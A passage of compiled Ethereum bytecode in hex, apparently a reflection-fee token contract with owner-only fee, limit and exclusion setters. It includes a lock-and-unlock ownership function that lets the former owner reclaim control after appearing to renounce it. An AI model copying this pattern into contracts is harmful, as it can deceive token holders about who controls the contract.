359060200190929190505050611303565b60405180821515815260200191505060405180910390f35b34801561050057600080fd5b5061052d6004803603602081101561051757600080fd5b81019080803590602001909291905050506113dc565b6040518082815260200191505060405180910390f35b34801561054f57600080fd5b50610558611460565b604051808260ff16815260200191505060405180910390f35b34801561057d57600080fd5b506105c06004803603602081101561059457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611477565b005b3480156105ce57600080fd5b5061061b600480360360408110156105e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611801565b60405180821515815260200191505060405180910390f35b34801561063f57600080fd5b506106486118b4565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b506106976004803603602081101561068157600080fd5b81019080803590602001909291905050506118ba565b005b3480156106a557600080fd5b506106e8600480360360208110156106bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4b565b005b3480156106f657600080fd5b5061072f6004803603604081101561070d57600080fd5b8101908080359060200190929190803515159060200190929190505050611b6e565b6040518082815260200191505060405180910390f35b34801561075157600080fd5b5061075a611c25565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079257600080fd5b5061079b611c49565b60405180821515815260200191505060405180910390f35b3480156107bf57600080fd5b50610802600480360360208110156107d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c5c565b005b34801561081057600080fd5b506108536004803603602081101561082757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f76565b60405180821515815260200191505060405180910390f35b34801561087757600080fd5b50610880611fcc565b6040518082815260200191505060405180910390f35b3480156108a257600080fd5b506108e5600480360360208110156108b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fd2565b6040518082815260200191505060405180910390f35b34801561090757600080fd5b506109106120bd565b005b34801561091e57600080fd5b50610927612243565b6040518082815260200191505060405180910390f35b34801561094957600080fd5b5061098c6004803603602081101561096057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612249565b60405180821515815260200191505060405180910390f35b3480156109b057600080fd5b506109b961229f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109f157600080fd5b50610a1e60048036036020811015610a0857600080fd5b81019080803590602001909291905050506122c8565b005b348015610a2c57600080fd5b50610a3561239a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a75578082015181840152602081019050610a5a565b50505050905090810190601f168015610aa25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610abc57600080fd5b50610b0960048036036040811015610ad357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061243c565b60405180821515815260200191505060405180910390f35b348015610b2d57600080fd5b50610b36612509565b005b348015610b4457600080fd5b50610b9160048036036040811015610b5b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612726565b60405180821515815260200191505060405180910390f35b348015610bb557600080fd5b50610bbe612744565b6040518082815260200191505060405180910390f35b348015610be057600080fd5b50610c0f60048036036020811015610bf757600080fd5b8101908080351515906020019092919050505061274e565b005b348015610c1d57600080fd5b50610c4a60048036036020811015610c3457600080fd5b810190808035906020019092919050505061286c565b005b348015610c5857600080fd5b50610c8560048036036020811015610c6f57600080fd5b8101908080359060200190929190505050612965565b005b348015610c9357600080fd5b50610cf660048036036040811015610caa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b56565b6040518082815260200191505060405180910390f35b348015610d1857600080fd5b50610d5b60048036036020811015610d2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612bdd565b005b348015610d6957600080fd5b50610dac60048036036020811015610d8057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d00565b005b610db6612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610e8182612f13565b505050505090506000610edc82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f6f90919063ffffffff16565b905060005b6008805490508110156110ee576000600880549050118015610f6557508473ffffffffffffffffffffffffffffffffffffffff1660088281548110610f2257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156110e157600960016008805490500381548110610f7f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610fb757fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060088054806110a757fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556110ee565b8080600101915050610ee1565b5080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b611141612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060108190555050565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112a35780601f10611278576101008083540402835291602001916112a3565b820191906000526020600020905b81548152906001019060200180831161128657829003601f168201915b5050505050905090565b60006112c16112ba612f0b565b8484612ff7565b6001905092915050565b6000600c54905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600a54905090565b60006113108484846131ee565b6113d18461131c612f0b565b6113cc856040518060600160405280602881526020016150db60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611382612f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135b39092919063ffffffff16565b612ff7565b600190509392505050565b6000600b54821115611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615020602a913960400191505060405180910390fd5b6000611443613673565b9050611458818461369e90919063ffffffff16565b915050919050565b6000600f60009054906101000a900460ff16905090565b61147f612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b6009805490508110156117fd578173ffffffffffffffffffffffffffffffffffffffff166009828154811061163257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117f05760096001600980549050038154811061168e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600982815481106116c657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806117b657fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556117fd565b8080600101915050611601565b5050565b60006118aa61180e612f0b565b846118a5856005600061181f612f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f6f90919063ffffffff16565b612ff7565b6001905092915050565b60105481565b60006118c4612f0b565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615175602c913960400191505060405180910390fd5b600061197483612f13565b505050505090506119cd81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136e890919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2581600b546136e890919063ffffffff16565b600b81905550611a4083600c54612f6f90919063ffffffff16565b600c81905550505050565b611a53612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a54831115611be8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611c08576000611bf884612f13565b5050505050905080915050611c1f565b6000611c1384612f13565b50505050915050809150505b92915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601460019054906101000a900460ff1681565b611c64612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611de4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611eb857611e74600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113dc565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561206d57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506120b8565b6120b5600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113dc565b90505b919050565b6120c5612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612185576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6122d0612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060128190555050565b6060600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124325780601f1061240757610100808354040283529160200191612432565b820191906000526020600020905b81548152906001019060200180831161241557829003601f168201915b5050505050905090565b60006124ff612449612f0b565b846124fa856040518060600160405280602581526020016151c46025913960056000612473612f0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135b39092919063ffffffff16565b612ff7565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806151a16023913960400191505060405180910390fd5b6002544211612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600061273a612733612f0b565b84846131ee565b6001905092915050565b6000600254905090565b612756612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612816576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460016101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405180821515815260200191505060405180910390a150565b612874612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612934576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61295c606461294e83600a5461373290919063ffffffff16565b61369e90919063ffffffff16565b60158190555050565b61296d612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612be5612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ca5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612d08612f0b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612dc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612e4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061504a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000806000806000806000806000612f2a8a6137b8565b9250925092506000806000612f488d8686612f43613673565b613812565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600080828401905083811015612fed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561307d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806151516024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806150706022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613274576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061512c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156132fa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ffd6023913960400191505060405180910390fd5b60008111613353576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806151036029913960400191505060405180910390fd5b61335b61229f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156133c9575061339961229f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561342a57601554811115613429576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806150926028913960400191505060405180910390fd5b5b600061343530611fd2565b905060155481106134465760155490505b6000601654821015905080801561346a5750601460009054906101000a900460ff16155b80156134c257507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156134da5750601460019054906101000a900460ff165b156134ee5760165491506134ed8261389b565b5b600060019050600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806135955750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561359f57600090505b6135ab8686868461397d565b505050505050565b6000838311158290613660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561362557808201518184015260208101905061360a565b50505050905090810190601f1680156136525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000613680613c8e565b91509150613697818361369e90919063ffffffff16565b9250505090565b60006136e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613f1f565b905092915050565b600061372a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135b3565b905092915050565b60008083141561374557600090506137b2565b600082840290508284828161375657fe5b04146137ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806150ba6021913960400191505060405180910390fd5b809150505b92915050565b6000806000806137c785613fe5565b905060006137d486614016565b905060006137fd826137ef858a6136e890919063ffffffff16565b6136e890919063ffffffff16565b90508083839550955095505050509193909250565b60008060008061382b858961373290919063ffffffff16565b90506000613842868961373290919063ffffffff16565b90506000613859878961373290919063ffffffff16565b905060006138828261387485876136e890919063ffffffff16565b6136e890919063ffffffff16565b9050838184965096509650505050509450945094915050565b6001601460006101000a81548160ff02191690831515021790555060006138cc60028361369e90919063ffffffff16565b905060006138e382846136e890919063ffffffff16565b905060004790506138f383614047565b600061390882476136e890919063ffffffff16565b905061391483826142f5565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405180848152602001838152602001828152602001935050505060405180910390a1505050506000601460006101000a81548160ff02191690831515021790555050565b8061398b5761398a614446565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613a2e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613a4357613a3e848484614489565b613c7a565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613ae65750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613afb57613af68484846146e9565b613c79565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613b9f5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613bb457613baf848484614949565b613c78565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613c565750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613c6b57613c66848484614b14565b613c77565b613c76848484614949565b5b5b5b5b80613c8857613c87614e09565b5b50505050565b6000806000600b5490506000600a54905060005b600980549050811015613ee257826003600060098481548110613cc157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613da85750816004600060098481548110613d4057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613dbf57600b54600a5494509450505050613f1b565b613e486003600060098481548110613dd357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846136e890919063ffffffff16565b9250613ed36004600060098481548110613e5e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836136e890919063ffffffff16565b91508080600101915050613ca2565b50613efa600a54600b5461369e90919063ffffffff16565b821015613f1257600b54600a54935093505050613f1b565b81819350935050505b9091565b60008083118290613fcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613f90578082015181840152602081019050613f75565b50505050905090810190601f168015613fbd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613fd757fe5b049050809150509392505050565b600061400f60646140016010548561373290919063ffffffff16565b61369e90919063ffffffff16565b9050919050565b600061404060646140326012548561373290919063ffffffff16565b61369e90919063ffffffff16565b9050919050565b6060600267ffffffffffffffff8111801561406157600080fd5b506040519080825280602002602001820160405280156140905781602001602082028036833780820191505090505b50905030816000815181106140a157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635cb485926040518163ffffffff1660e01b815260040160206040518083038186803b15801561414157600080fd5b505afa158015614155573d6000803e3d6000fd5b505050506040513d602081101561416b57600080fd5b81019080805190602001909291905050508160018151811061418957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506141ee307f000000000000000000000000000000000000000000000000000000000000000084612ff7565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156142b0578082015181840152602081019050614295565b505050509050019650505050505050600060405180830381600087803b1580156142d957600080fd5b505af11580156142ed573d6000803e3d6000fd5b505050505050565b614320307f000000000000000000000000000000000000000000000000000000000000000084612ff7565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061436a61229f565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156143ef57600080fd5b505af1158015614403573d6000803e3d6000fd5b50505050506040513d606081101561441a57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b600060105414801561445a57506000601254145b1561446457614487565b601054601181905550601254601381905550600060108190555060006012819055505b565b60008060008060008061449b87612f13565b9550955095509550955095506144f987600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136e890919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061458e86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136e890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061462385600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f6f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061466f81614e1d565b6146798483614fc2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806146fb87612f13565b95509550955095509550955061475986600360008c73ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff